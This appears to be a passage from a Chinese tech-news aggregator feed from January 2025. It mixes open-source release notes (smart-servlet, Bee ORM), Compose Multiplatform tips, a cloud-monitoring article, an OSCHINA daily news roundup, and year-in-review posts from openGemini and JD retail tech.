  • path:Servlet 容器上下文路径,即 ContextPath,通常以 / 表示。当然也支持自定义,但必须以 / 开头 完成配置后在控制台输入:mvn package smart-servlet:run 即可。

方式二:smart-servlet-spring-boot-starter

用过 springboot 的 spring-boot-starter-tomcat 或者 spring-boot-starter-undertow 的朋友应该对此不陌生。

smart-servlet-spring-boot-starter 本质上就是 smart-servlet 对 spring-boot-starter-web 的另一种适配。

只需按照以下方式调整 springboot 工程中 pom.xml 文件的配置,便可将 springboot 的默认 Servlet 容器替换成 smart-servlet。

<dependencys>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <exclusions>
            <!-- Exclude the Tomcat dependency -->
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-tomcat</artifactId>
            </exclusion>
        </exclusions>
    </dependency>
    <!-- Use smart-servlet instead -->
    <dependency>
        <groupId>tech.smartboot.servlet</groupId>
        <artifactId>smart-servlet-spring-boot-starter</artifactId>
        <version>{最新版本}</version><!--最新版本 -->
    </dependency>
</dependencys>

方式三:发行包

发行包适用于 War 包的部署方式,也是生产环境中常用的一种形式。

下载地址:https://smartboot.tech/smart-servlet/guides/release_note/

by 来源: 投稿 at January 17, 2025 12:47 AM

January 16, 2025

oschina news project

Python ORM Bee V1.1 发布,增加批量插入,重用连接等

Bee(BeePy) 是基于 Python 的 ORM 工具;让你使用 Python 开发数据库应用更简单!
Python ORM Bee V1.1 发布,
增加批量插入,重用连接等

主要功能

V1.1

1. SQL 关键字,支持大小写;

2. batch insert 批量插入;

3. reuse the connection 重用connection连接,提高效率;

4. 添加系统定义异常;

 

往期回顾:

V1.0 发布

 

快速开始:

if __name__ == '__main__':
    #select record
    suid=Suid()
    orderList=suid.select(Orders()) #select all
    
    #insert    
    orders=Orders()
    orders.id=104
    orders.name="bee"
    orders.remark="test"
    
    suid=Suid()
    suid.insert(orders)
    
    #update/delete
    orders=Orders3()
    orders.name="bee130"
    orders.ext="aaa"  #实体没有字段,会被忽略。出去安全考虑
    orders.id=10002
    
    suid = Suid()
    n1= suid.update(orders)
    n2= suid.delete(orders)
    print(n1)
    print(n2)

待开发功能计划列表:

2.SQL 关键字,支持大小写;(完成) 可通过配置确定;
3. 批量插入; (完成)
4.order by
5.group by
6.createTable
7.index/unique
8.selectById
9.deleteById
10.List<String[]> selectString(T entity)
11.count
12.save
13.exist
14.selectFirst (ing)
15. 复杂 where 条件支持;添加 Condition 参数
16. 支持直接返回 Json 格式查询结果;
17. 多个 ORM 操作使用同一连接
18. 处理查询的 ResultSet 结果;
19. 转换 PreparedStatement 参数的类型
20. 注册器、
21. 拦截器、
22. 自定义 SQL 支持
23. 缓存支持
24. 全局唯一
25. 自动生成 bean

诚邀您的加入!

如果您还想添加什么功能,请到评论区告诉我们。

项目首页:https://gitee.com/automvc/BeePy/

by 来源: 投稿 at January 16, 2025 05:12 PM

juejin android

Compose多平台 (CMP) 开发的四个实用技巧

本文译自Four useful tips for Compose Kotlin Multiplatform (KMP)

译者注: 这篇文章虽然比较短,但提到的问题还是比较具体和典型的,针对CMP项目的一些配置还是很有借鉴意义的。

banner

简介

正如我在上一篇文章《将多模块应用程序完全迁移到 Compose Kotlin Multiplatform (KMP)》中所说,上个月我一直在将现有的多模块应用程序迁移到 Compose Multiplatform,除此之外,我还从头开始创建一个新的 Compose Multiplatform 多模块项目。在这两个项目中,我都遇到了相同的“问题”或者说“阻碍”,因此,如果您正在迁移或从头开始启动 CMP 项目,那么本文就是为你量身定做的。

提示 1:预览

KMP 不支持 commonMain 目录Compose组件的预览,因此我想到了在 androidMain 目录中创建它们,并且它们的预览运行得很好。

例如:

commonMain/com/example/feature/component/FeatureScreen.kt
androidMain/com/example/feature/component/FeatureScreenPreview.kt

提示 2:BackHandler

KMP 不支持 BackHandler 操作,因此我创建了一个用于屏幕的expect函数,并在 androidMain 中的actual函数上添加了 BackHandler 操作,并将 iosMain 留空(因为我在 iOS 中没有找到类似的操作)。

例如:

// commonMain/ com.example.feature.component.FeatureScreen.kt
@Composable
expect fun FeatureScreen(
    viewModel: FeatureScreenViewModel,
)

@Composable
internal fun Content(
    viewModel: FeatureScreenViewModel,
) {
    ...
}
// androidMain/ com.example.feature.component.FeatureScreenActual.kt (needs a name different from common)
@Composable
actual fun FeatureScreen(
    viewModel: WorkScreenViewModel,
) {
    BackHandler { viewModel.onIntent(WorkIntent.Back) }

    Content(
        viewModel = viewModel,
    )
}
// extra: I have joined the preview in this same class to have it better organized.
// iosMain/ com.example.feature.component.FeatureScreenActual.kt (needs a name different from common)
@Composable
actual fun FeatureScreen(
    viewModel: WorkScreenViewModel,
) {
    Content(
        viewModel = viewModel,
    )
}

提示 3:测试模拟

我喜欢使用 mockk 库进行模拟测试,在撰写本文时,KMP 尚不支持该库,因此我决定在 androidUnitTest 目录中创建 UnitTest,并将库依赖项添加到 androidUnitTest.dependencies {} 块中。

对于此类测试,我使用了支持 KMP 的 kotlin-test jetbrains 库。

例如:

mockk = { group = "io.mockk", name = "mockk", version.ref = "mockk-version" }
kotlin-test = { group = "org.jetbrains.kotlin", name = "kotlin-test", version.ref = "kotlin-version" }
// feature build.gradle.kts
kotlin {
    ...

    sourceSets {
        androidUnitTest.dependencies {
            implementation(libs.mockk)
        }

        commonTest.dependencies {
            implementation(libs.kotlin.test)
        }
    }
}
androidUnitTest/com/example/feature/usecase/UseCaseTest.kt

提示 4:UI 测试

官方的 Compose 多平台 UI 测试指南指出,必须使用commonTest 目录进行 UI 测试,但我更喜欢使用androidInstrumentedTest目录,因为使用这种方法,我可以将单元测试与 UI 测试分开,并且我可以直接从同一个测试类执行它们,并从目录运行所有 UI 测试。

例如:

mockk-android = { group = "io.mockk", name = "mockk-android", version.ref = "mockk-version" }
ui-test-junit4-android = { group = "androidx.compose.ui", name = "ui-test-junit4-android", version.ref = "uiTestJunit4AndroidVersion" }
ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest", version.ref = "uiTestManifestVersion" }
kotlin-test = { group = "org.jetbrains.kotlin", name = "kotlin-test", version.ref = "kotlin-version" }
// feature build.gradle.kts
plugins {
    ...
    alias(libs.plugins.compose.multiplatform)
    alias(libs.plugins.compose)
}

kotlin {
    ...

    sourceSets {
        androidInstrumentedTest.dependencies {
            implementation(libs.mockk.android)
            implementation(libs.ui.test.junit4.android)
        }

        commonTest.dependencies {
            implementation(libs.kotlin.test)
            @OptIn(ExperimentalComposeLibrary::class)
            implementation(compose.uiTest)
        }
    }
}

...

dependencies {
    debugImplementation(libs.ui.test.manifest)
}
androidInstrumentedTest/com/example/feature/component/ScreenAndroidTest.kt

结论

在本文中,我们看到了一些 Compose Multiplatform 技巧,希望您觉得它们有用。感谢您阅读本文,欢迎提供任何反馈。

欢迎搜索并关注 公众号「稀有猿诉」 获取更多的优质文章!

保护原创,请勿转载!

by 稀有猿诉 at January 16, 2025 02:27 PM

juejin freebie

云监控的盲点:用户视角

监控云应用性能时,主干网、最后一公里和无线网络不仅仅是画面的一部分,它们就是画面本身。

译自 Cloud Monitoring’s Blind Spot: The User Perspective,作者 Brandon DeLap。

互联网中心化应用交付的演变加剧了IT对影响最终用户体验因素的可视性缺口。当这些缺口导致负面业务后果,例如收入损失或净推荐值 (NPS) 下降时,这个问题会更加严重。Gartner 最近发布了其首个数字体验监控 (DEM) 魔力象限报告,进一步强调了解决日益恶化的可视性缺口问题的必要性。

了解真正应该具备的可视性,一个好方法是从第一英里监控与最后一英里监控的角度来看。

第一英里监控与最后一英里监控:监控位置的重要性

第一英里代表云网络和平台,例如AWSAzureGoogle Cloud,甚至“的网络机房”。这些环境稳定、优化良好,对于托管应用程序至关重要。第一英里监控侧重于确保应用程序的核心基础设施和代码按预期运行。

然而,最后一英里是真实用户连接到应用程序的地方;体验发生的地方。这包括骨干网络(例如,BT、AT&T 和 Comcast 等区域 ISP)、最后一英里提供商(光纤或无线,例如 Verizon、Sky 或 T-Mobile)和无线连接。监控最后一英里可以揭示用户面临的现实挑战,例如延迟峰值、丢包和第一英里监控看不到的特定于互联网服务提供商 (ISP) 的问题。

可以把它想象成达美乐的“为披萨铺路” 广告宣传活动——这不仅仅是确保披萨离开店面时完美无缺(第一英里);而是要修补道路上的坑洼,以便披萨完好无损地送到顾客手中(最后一英里)。同样的原则也适用于数字体验:如果最后一英里没有交付,那么仅仅监控第一英里是不够的。从最后一英里进行监控可以最清晰地展现用户视角下的性能。

为什么仅靠第一英里监控就显得不足

您的应用程序很可能托管在云提供商的数据中心中,通常与您的监控工具位于同一个边界网关协议 (BGP) 自治系统 (AS) 中。这意味着如此靠近源头的监控只能验证基础设施的可用性。换句话说,这种“内部”设置只能有限地了解现实世界中的问题。

  1. 用户视角丢失:互联网性能监控 (IPM) 从用户的角度监控健康状况,而仅限云端的监控无法做到这一点。
  2. 可观测性风险:当第一英里出现故障——这种情况比许多人意识到的要频繁——您的可观测性策略也会随之失效。这不仅仅是理论上的风险;这是我们在现实世界中断中一次又一次看到的现象,例如 2024 年 8 月发生的Lumen 和 AWS 微中断。在此事件中,关键系统中断,波及相互关联的生态系统,并使企业措手不及。

重新思考可观测性:可用性和可达性

在提供完美的数字体验方面,可观测性依赖于四个关键支柱:可用性、可达性、性能和可靠性。每一个都在理解应用程序的性能和用户体验方面发挥着关键作用。

我将重点关注前两个:可用性和可达性。可用性是指您的应用程序是否正在运行。另一方面,可达性衡量用户是否能够实际连接到您的应用程序,其中考虑了网络延迟、丢包以及他们与您的服务器之间的跳数。

我将说明从云端监控与从最终用户网络监控的区别,以及在云端看起来完美无缺的东西在现实世界中往往会崩溃的原因。

可视化差异:跨网络类型的可用性

云监控数据往往呈现过于乐观的景象。如下图所示,来自云端的监控(绿线)报告显示可用性接近完美,始终徘徊在99.99%左右。但这些数据只讲述了故事的一部分——它反映的是云基础设施的受控环境,而不是用户的真实体验。

现在,将其与骨干网(蓝线)、最后一公里(红线)和无线(紫线)数据进行比较。这些波动突显了用户每天面临的挑战,从区域ISP中断到最后一公里的不稳定性。要点是什么?虽然云监控数据可以让仪表盘看起来不错,但它并没有考虑到用户连接的真实网络环境。要真正了解可用性,您需要监控所有这些网络类型。

云与最终用户网络地图

这是另一个例子。上面的地图显示了来自云端的监控结果,下面的地图显示了最终用户的网络。

云端显示全绿,表明第一公里性能接近完美。下面的地图显示了从最终用户角度看到的现实;红色和黄色标记代表云端监控看不到的性能问题。

这种差异强调了在用户实际连接的地方进行监控的迫切需要。虽然云端可能看起来很完美,但最终用户的网络却讲述了一个截然不同的故事。

为什么会这样?

上图显示,用户从外部ISP连接到云端的路径比云端ISP(如下图所示)更不稳定。这是由于云托管应用程序和用户之间存在大量的BGP自治系统和跳数。每个AS网络代表一个不同的管理域。当流量遍历这些域时,它会经过多个网络跳数。这些跳数可能包括不同的路由策略、对等协议和拥塞点。

基于云的监控缺乏对这些中间跳数的洞察,尤其是在跨运营商和对等交换的情况下,导致对网络性能和真实用户体验的看法支离破碎。

相比之下,骨干网监控通过捕获更接近互联网核心的数据,提供了更全面的视角,可以了解最终用户流量的路径和沿途的潜在瓶颈。

平均响应时间:云与骨干网ISP

知道您的应用程序是否正在运行是一回事,但连接质量如何呢?下图比较了骨干网和云网络之间的响应指标。

左侧,来自骨干网的监控显示关键指标(如加载时间等待时间)存在显著差异。峰值代表用户在遍历真实网络时面临的挑战。将其与右侧的云进行比较,那里的一切看起来都稳定、流畅且可控。但是大多数用户并非从云端连接。如果没有来自骨干网和最后一公里网络的监控,您只能看到故事的一部分。

这是另一个例子,说明云监控数据如何使一切看起来都很完美,而实际情况却远非如此。下图显示了来自AWS的监控,报告显示近乎即时的响应时间为44.79毫秒。

但是,当您将视角转移到骨干网ISP时会发生什么?在这个CenturyLink示例中,响应时间飙升至730.67毫秒。

这种差异并非异常值——这是用户每天通过不同网络连接到您的应用程序时面临的现实。除非您从这些网络进行监控,否则您将无法全面了解应用程序的可达性。

综合起来

这些图表中的数据讲述了一个清晰的故事。它显示了仅靠第一公里监控无法显示的内容:用户每天在骨干网、最后一公里和无线网络上遇到的可变性、不稳定性和挑战。

要点是什么?要真正了解您的应用程序的性能,您需要超越云端进行监控。骨干网、最后一公里和无线网络不仅仅是画面的一部分——它们就是画面本身。能够监控整个互联网堆栈,包括用户实际连接的那些“眼球”网络,是Catchpoint互联网性能监控 (IPM)与众不同的原因。

by 云云众生s at January 16, 2025 11:21 AM

oschina news industry

开源日报 | 智谱被列入实体清单;马斯克招聘程序员;DeepSeek官方App正式发布;电子书《自洽的程序员》;国产GPU独角兽启动IPO;AI网红李开复

欢迎阅读 OSCHINA 编辑部出品的开源日报,每天更新一期。

# 2025.1.16

今日要闻

智谱回应被美国商务部列入实体清单

北京智谱华章科技有限公司 1 月 15 日晚发布声明称,公司关注到美国商务部工业和安全局(BIS)拟将智谱及子公司增列至出口管制实体清单。这一决定缺乏事实依据,公司对此表示强烈反对。

智谱称,鉴于公司掌握全链路大模型核心技术的事实,被列入实体清单不会对公司业务产生实质影响。智谱有能力也将更专注地为用户和伙伴提供世界一流的大模型技术、产品和服务。同时公司将继续参与全球人工智能竞争,坚持最高安全标准和公平、透明、可持续原则,推动人工智能技术发展。

马斯克招聘程序员:如果你是硬核工程师,直接甩代码给我

马斯克昨天在 𝕏 发布动态

如果您是一名硬核软件工程师并希望构建万能应用程序,请加入我们,将你的最佳作品发送至 code@x.com。  

我们不关心你在哪里上学,甚至不关心你是否上过学,也不关心你在哪家 “大牌” 公司工作。  

只需向我们展示你的代码即可。

网传江西教育厅高考查分网站删库跑路

昨天,各八卦群中流传出一则《江教在线数据库删库》的消息。

据称被删库的网站是江西教育系统的江教在线(www.know.edu.cn),也是江西高考成绩查询的网站 —— 出的问题是数据库被格式化,而且没有备份,甚至都没有数据库表结构,导致连拉起一套新的应用都不能。

比尔・盖茨自传《Source Code》将于下月出版

比尔・盖茨宣布,他的首部自传 Source Code(《源代码》,中文名暂译)将于今年二月出版。

这是一本关于比尔・盖茨早年生活的回忆录,记录了从童年到决定离开大学,与保罗・艾伦一起创立微软的这段经历。对于写这本书的初衷,比尔・盖茨表示,自己从二十岁出头就进入公众视野,但此前的生活鲜为人知。

多年来,他经常被问及成长经历、在哈佛大学的时光,以及后来又是如何与他人共同创办公司的。这些问题让他意识到,人们或许会对自己的人生历程,以及成长中的影响因素感兴趣。  

在书中,比尔・盖茨分享了自己早年生活中的一些艰难经历,包括小时候觉得自己格格不入、作为叛逆的青少年与父母冲突不断、面对亲人突然离世的痛苦,以及差点被大学开除。  

他也反思了自己的幸运之处:生在一个优秀的家庭,正值历史性技术变革与乐观情绪弥漫的时代,而他也正是在个人电脑革命方兴未艾之时步入成年。  

除了《Source Code》外,比尔・盖茨还计划再写两本回忆录,一本关于自己在微软的工作经历,另一本关于慈善事业。

开源多媒体播放器 VLC 将引入基于 AI 的实时字幕功能

VLC 在社交平台介绍了其在 CES 上演示的本地 AI 字幕翻译功能。该功能利用了本地运行的开源大模型,能为任何视频自动生成实时字幕,然后翻译成多种语言,无需联网或使用云端服务

开发 VLC 的非盈利组织 VideoLAN 总裁 Jean-Baptiste Kempf 称,即使在流媒体时代,VLC 的活跃用户数量仍然在增长。

英特尔宣布开源 Tofino P4

英特尔宣布将 Tofino P4 进行开源 ——“我们很高兴迎来 P4 编程语言新时代的曙光”。

开源代码被组织在 p4lang 结构内的两个 main repo 中。p4c 仓库现在包含 Tofino 编译器组件,其子文件夹包括 arch、common、control-plane、driver、midend、test 和 docs。

Tofino 后端与 bmv2、ubpf 和其他后端处于同一层级。新引入的 open-p4studio repo 包含 Tofino P4 Studio 的所有其他组件,例如 bf_driver、bf_diags、bf_utils 和 tofino_model。

Arm 计划涨价高达 300%,并考虑自行研发芯片

据路透社独家报道,芯片技术供应商 Arm Holdings(Arm)正在制定一项长期战略,计划将其芯片设计授权费用提高高达 300%,并考虑自主研发芯片,以与其最大的客户展开竞争。

Arm 通过授权其知识产权(IP)给苹果、高通、微软等公司,用于设计芯片,并从每颗使用 Arm 技术的芯片中收取少量版税。

尽管 Arm 在智能手机和高效能数据中心芯片的崛起中扮演了核心角色,但其规模远不及客户。2024 财年,Arm 的收入仅为 32.3 亿美元,而在最近一个财年,苹果硬件产品的收入(全部采用基于 Arm 的芯片)是其 90 倍以上。

涨价的消息源于上个月 Arm 与高通的一场诉讼中披露的内部文件和高管证词。尽管 Arm 试图通过诉讼向高通争取更高的授权费率,但最终未能成功。


今日观察

社交观察

DeepSeek 官方 App 正式发布,iOS/Android 各应用市场均已上线

 
https://download.deepseek.com/app/
 

- 微信 DeepSeek

日本 Sakana AI 发布 Transformer²,自适应 LLMs

日本 Sakana AI 发布 Transformer²,自适应 LLMs。

该方法提出了一种机器学习系统,能够动态调整其权重以适应各种任务。

Transformer² 的名称反映了其两步过程:首先,模型分析输入任务以理解其需求,然后应用任务特定的调整以生成最佳结果。通过选择性调整模型权重的关键组件,其框架使 LLMs 能够实时动态适应新任务。Transformer² 在多种任务(如数学、编码、推理和视觉理解)上展示了显著进步,在效率和任务特定性能上超越了 LoRA 等传统静态方法,同时所需参数大大减少。

Sakana AI 表示其研究为未来提供了一瞥,届时 AI 模型将不再静止不变。这些系统将在测试时动态调整其计算能力,以适应所遇任务的复杂性,体现能够持续变化和终身学习的活体智能。该公司相信,自适应性不仅将变革 AI 研究,还将重新定义我们与智能系统的互动方式,创造一个适应性与智能并驾齐驱的世界。

- 微博  i陆三金

辛顿教授领衔的这篇论文,领先了时代 10 年

刚看到人形机器人公司1X的联合创始人Eric Jang发了一个推文,说10年前(2015年),当时来自Google的Geoffrey Hinton、Oriol Vinyals和Jeff Dean的一篇开创性论文:《Distilling the Knowledge in a Neural Network》(传送门:arxiv.org/abs/1503.02531),远远走在了时代前边。

虽然大模型很强大,但是我们需要在手机等设备上运行AI模型。而但那些性能最好的模型往往体积庞大,计算开销巨大。就像一位博学的教授,虽然知识渊博,但不可能随时随地为每个学生答疑解惑。所以,我们需要找到一种方法,让"小模型"也能获得"大模型"的智慧。

这篇论文提出了在当时具有开创性的想法:通过"蒸馏"技术,将复杂模型中的知识转移到更小的模型中。事实证明,现在确实大家把蒸馏作为一种用大模型训练小模型的方式。甚至Deepseek-v3有这么好的表现,分析背后也有数据蒸馏的成果。

- 微博 高飞

一个用来翻译拼音缩写的模型

此模型基于Chinese-BERT-wwm训练而来,通过修改其预训练任务来使其适配拼音缩写翻译任务,相较于微调过的GPT模型以及GPT-4o达到了sota。真是什么大模型都有。

https://github.com/IgarashiAkatuki/CNMBert

- 微博 blackorbird

电子书《自洽的程序员》

年底了来点鸡汤~
self-consistent-coder.readthedocs.io/zh-cn/latest/
 
“这不是一本程序员的技术书籍,整本书不会提及任何一个技术词汇,这也不是一本教你如何规划职业生涯,如何在职场走个更远的书,虽然我相信大部分内容确实有助于在职场的发展。
这本书的真正用意是想解决工作过程中碰到的焦虑、倦怠、迷茫、抑郁等情绪,聚焦于解决具体问题,通过改变认知将我们从负面情绪的泥淖中走出来,做到更坦然,真诚的面对自己的内心,成为一个自洽的程序员。”
- 微博 蚁工厂

媒体观察

从被拒门外到加快应用AI靠实力逆袭

记得两年前,某计算所学者告诉我,为了让智能算法走进药物筛选领域,自己经常自掏腰包,前往药学学术会议进行交流。他想用自己的研究结果告诉人们,过去需要数千小时的筛选工作,借助新技术几十小时就能完成。

- 科技日报

全国青少年科技创新大赛不再接受15岁以下少年儿童参赛

中国科协办公厅日前印发《全国青少年科技创新大赛实施办法(试行)》,不再接受15岁以下少年儿童参赛,不再对选手创新作品进行评价,对弄虚作假、他人过度参与、移花接木等违规问题实行一票否决制。

- 新华社

又一国产GPU独角兽启动IPO

中国证监局官网显示,国内GPU独角兽企业沐曦集成电路(上海)股份有限公司(简称“沐曦”)已在上海证监局办理辅导备案登记,正式启动A股上市进程,辅导机构为华泰联合证券有限责任公司。

- 芯东西

杨植麟的Kimi,怎么只用一年就能超越了百度阿里?

在过去的一年中,其一手创办的月暗旗下的明星产品Kimi,在网站端的访问量走出了一条可以被称作完美的增长曲线,除了8月略有下滑之外,其他月份均保持了正向增长,并力压字节的豆包位列第三。

- 新识研究所

英伟达更新路线图,台积电中枪?

日前,台媒就有消息指出,有大客户砍掉台积电的CoWoS订单,郭明淇的消息,让这个新闻有了另一维度的解析。

郭明淇表示,虽然 CoWoS-S 扩张速度正在放缓,但 CoWoS-R 产能正在增加。他同时提到,对于台积电来说,从 B200 到 B300 的过渡涉及相同的 FEoL 流程。BEoL 变更可以通过 ECO 进行管理。

因此台积电将它们视为相同的产品,产品过渡的时间对台积电来说并不重要。

- 半导体行业观察

AI网红李开复

顶着中国“AI教父”头衔下场搏斗的李开复,在自己选中的大模型赛道被反复质疑,甚至有激进行业人士,直接将李开复和其背后的零一万物称之为“大模型混子”,恒业资本创始合伙人江一告诉字母榜,“其实我们更早都知道了(李开复)要放弃预训练的事情,这在行业里不算是一个太大的秘密。”

- 字母榜


今日推荐

开源项目

HeapsIO/heaps

https://github.com/HeapsIO/heaps

Heaps 是专为高性能游戏设计的跨平台图形引擎,它旨在利用台式机、移动设备和游戏主机上常见的现代 GPU。

每日一博

RAG 的技术困境:为何单纯依赖向量嵌入不可靠?

本文揭示了 RAG 技术中最为致命的技术短板 ------ 向量嵌入技术的语义匹配可靠性。作者并非停留在批评,而是提供了一个务实的解决方案:将向量嵌入作为搜索结果的优化工具,与传统的同义词搜索等方法配合使用,而非唯一检索依据。


开源之声

用户观点

“后Bram时代”的Vim现状

  • 观点 1:未来的后 linus 时代感觉会很混乱,毕竟不像几乎只有 geek 关注的 vim,linux 可是人人都想分一杯羹
    • 观点 2:linus走了以后不敢想象linux会成什么垃圾
      • 观点 3:不用这么悲观吧,江山各有人才出
  • 观点 4:Bram去世也一年多了,时间过得真快
  • 观点 5:vim 保持这样就行了,核心功能几十年不变
  • 观点 6:Vim分隔窗口写代码,在公司里敲代码就是最靓的仔!
  • 观点 7:看在文中提到openvms的份上,我提一嘴,openvms已经跑在amd64还加上VMware支持了
  • 观点 8:一晃,我用vim也十三年了。

智谱被美国商务部列入实体清单

  • 观点 1:恭喜智谱AI获US官方认证
  • 观点 2:官方认证,那就更加要支持智谱了
  • 观点 3:下来就是deepseek,感情这是以为机器学习是议员老爷发明的?
  • 观点 4:珍惜大老美实体清单认证吧[旺柴],再过几年,这认证含金量就不行了
  • 观点 5:智谱清言确实不错 国产ai里用的最多的了
  • 观点 6:封不住的,有新加坡阿联酋这些个骑墙两面讨好的二道贩子海量转卖芯片给中俄伊朝
  • 观点 7:这下就不用纠结用哪家国产AI了
  • 观点 8:也不知道哪家AI好,先知道的智谱清言,然后就一直用到现在
  • 观点 9:59 分以上全部咔嚓

---END---

 

by 来源: OSCHINA at January 16, 2025 11:09 AM

春节盛宴,开源中国邀你有奖晒「我的老家」

春节盛宴,开源中国邀你晒「我的老家」
一张照片,一段故事,赢取背包、T恤、魔方大奖!
参与即送荣誉勋章+1000经验值,优秀作品上首页!
活动时间:1月16日-2月6日
活动说明: 在开源中国动弹版块 #我的老家#话题下,上传春节老家相关照片,如归途风光、贴对联、年夜饭、放烟花、村花旧友重逢、新年愿望等,并附上简短文字,讲述背后的动人故事或感受。
奖品:
“最佳年味故事奖”3名:获赠定制背包+T恤+魔方尊贵套装1套
 


“创意无限奖”5名:最具创意作品,获得定制T恤1件

“人气之星奖”5名点赞+评论前5名,获赠定制背包1个

所有参与者将获得 “年味灵蛇迎春”勋章,同时通过APP参与将额外获得 1000经验值加成。
 
                (立即参与)

 

by 来源: OSCHINA at January 16, 2025 09:24 AM

openGemini 的 2024 年成就与2025 年规划

2024年,是openGemini砥砺前行、硕果累累的一年。从荣获“科创中国”开源创新榜优秀开源应用场景奖的荣耀时刻,到正式成为CNCF官方项目的高光瞬间,再到在各行各业广泛应用、社区蓬勃发展的坚实步伐,每一步都凝聚着团队的智慧与汗水,也彰显着openGemini在开源时序数据库领域作为后来者的技术潜力与广阔前景。在过去的这一年里,我们用技术为海量可观测性数据存储和分析注入强劲动力,依靠社区协作汇聚开源力量,打造创新生态。此刻,让我们回顾过往辉煌,汲取前行力量,展望2025年新征程,继续以创新为帆、开源为桨,驶向技术深海,向着更广阔的天地破浪前行!

精彩回顾

这一年,openGemini正式成为CNCF官方项目,社区影响力显著提升。社区迎来了3位新晋Committer,为社区注入了新鲜血液与创新活力;月度例会正常化召开了,搭建起成员间高效沟通、协同合作的桥梁,促进了社区的稳定发展;用户案例持续丰富,彰显了openGemini在各行业的广泛应用与卓越价值,并荣获“科创中国”开源创新榜优秀开源应用场景奖。同时,我们积极参与了KubeCon、开放原子开源生态大会、华为开发者大会(HDC)等重要行业盛会,向全球开发者、企业伙伴展示社区的前沿动态与技术实力,拓展了社区的国际视野与合作空间。11 月成功策划的走进川大活动,更是深化了社区与高校的联动,为项目培养潜在人才、激发学术创新活力探索新路径。

这一年我们不断进行技术优化和改进,新增代码13万行(共52万行),发布了3个社区版本(v1.2.0, v1.3.0-rc1, v1.3.0),旨为大家带来更好的使用体验。性能方面,针对IoT场景的写入和典型查询场景进行了优化,性能全面超越InfluxDB,最高提升了50倍。Devops场景下,较之前版本,性能提升30%-300%,并且在开源领域产品中,始终保持领先优势;特性方面,openGemini提供了如流式计算、PromQL兼容、备份恢复、数据副本等多个关键特性,同时,新写入协议、网流数据压缩传输、数据删除、多副本性能优化等创新设计和开发工作正稳步推进,为Devops、车联网、物联网、能源等不同应用场景提供更多有力支撑。我们始终将业务场景置于核心位置,深入洞察其中的痛点与挑战,以创新思维和良好的工程能力,解决实际难题,促进产业发展。

这一年有非常多开发者和我们一起同心协力,共同推动openGemini的前行。他们活跃在社区的每一个角落,从客户端到数据库内核,从插件工具到社区官网,从文档编写到代码贡献,从问题反馈到解答疑惑,全方位助力项目成长。我们珍视每一位开发者的付出与贡献,期待未来有更多志同道合的伙伴加入,携手创造更多可能,让openGemini在开源世界的舞台上熠熠生辉。

感谢@localvar, @fx408, @hezhangjian, @shilinlee, @wtsclwq, @chen19991212, @Mike666666-max, @xmh1011, @nanjj, @xuthus5, @lihanxue, @Chuckie12138, @Chenxulin97, @StepY1aoZz, @gueFDF, @lijieac, @zhuheqqq, @liuze89, @xwyzsn, @wangchienbo, @qwangry, @yehong-z, @xkx9431, @Benevor, @ZelinMa557, @weiping-code, @thalassosag, @cyruslo, @zhiheng123, @goflutterjava, @dream-kzx, @wolfbolin, @CoulsonYing, @goyjy, @L-uoJin, @cpcchengt, @hiiiik, @njbestway, @cpcchengt, @instpe, @castlighting, @xiangyu5632等在社区的代码和文档贡献。感谢@大数据道哥,@政能量,@抢我辣条还想跑,@博, @起个啥名好,@Nika,@十年,@fx4084,@wiki,@向宇等在社区交流群中积极帮助其他人解答问题,让更多的朋友们感受到了社区大家庭的力量。感谢@大数据道哥,@刘翔华(云天化信息科技),@齐小强(江天数据科技),@李建珍(山西新网科技)等为社区贡献的案例,沉淀经验,让更多开发者受益。

规划预告

展望 2025 年,社区将秉持初心,砥砺前行,以更加开放、包容、创新的姿态,迎接新的机遇与挑战。我们将持续优化技术架构,提升 openGemini 的性能与稳定性,探索更多前沿技术的融合应用,主打一个听劝:

  • 将进一步支持更大规模的集群,以应对未来数据量的持续增长
  • 将持续优化提升多副本性能和可靠性,提供高性能、高可靠的数据存储服务
  • 将强化与大数据生态的融合,提供与Spark、Flink、Trino的高效对接方案,加速数据的流转和处理效率
  • 将构建一套基于 openGemini 的模型训练与推理解决方案,达到时序数据库与 AI 模型深度融合的目的,在异常检测和预测方面发挥更大的作用。该方案借助业界优秀的模型训推框架,搭配openGemini提供的专门的数据接口,进一步加速训练与推理过程,大幅提升计算效率,为用户带来更流畅的智能分析体验

与此同时,在2025年,我们还要进一步完善社区治理机制,细化技术开发文档,营造更加活跃、友好的社区氛围,吸引更多优秀开发者、企业伙伴加入,携手共进;强化与企业、高校、科研机构的合作,推动社区人才培养计划和社区共建计划落地,为社区输送源源不断的创新动力与人才支持;紧密同CNCF社区的联系,拓展全球推广渠道,提升社区在国际开源领域的知名度与话语权,打造具有全球影响力的开源社区生态。

结束

回首 2024 年,我们怀揣热忱、砥砺前行,在社区建设、技术创新、生态拓展等诸多领域硕果累累。展望 2025 年,机遇与挑战并存,我们将以更加坚定的步伐、创新的思维,续写辉煌篇章。

openGemini 期待您的加入!

openGemini官网https://www.openGemini.org
Star for me
🌟https://github.com/openGemini

by 原创 at January 16, 2025 09:08 AM

年底了,盘一盘京东零售 11 项代表性技术成果

每一次回望,都为了更好地前行。

2024 年,京东零售技术在全面助力业务发展的同时,在大模型应用、智能供应链、端技术、XR 体验等多个方向深入探索。京东 APP 完成阶段性重要改版,打造 “又好又便宜” 的优质体验;国补专区快速上线、助力 “以旧换新”;大模型应用在大量零售业务场景全面铺开,实现效率提升;供应链能力一骑绝尘,为超千万订单提供更快的履约时效……

对技术精益求精的执着背后,是为未来积累更多力量,我们相信,思维的碰撞可以激发更多创新火花,众人的智慧能够汇聚更多可能。2025 年,一起践行 “技术为本 让生活更美好” 

我们选取了 2024 年零售技术 11 项有代表性的技术成果,与大家分享。

京东 APP 完成阶段性重要改版,打造 “又好又便宜” 的优质用户体验

2024 年下半年,京东 APP 启动改版升级,目前已完成阶段性目标,近期将全量推出新版本。此次改版聚焦心智建设以打造更好的用户体验,通过清晰的首页我京分区京东生活自营品质服务的全新呈现、更贴近用户多维需求的消息中心、决策效率更高的商品详情、更智能化的搜索推荐和大模型等新技术的应用,让拥有不同需求的用户都能快速找到需要的商品或服务,让用户在京东更开心地逛起来。

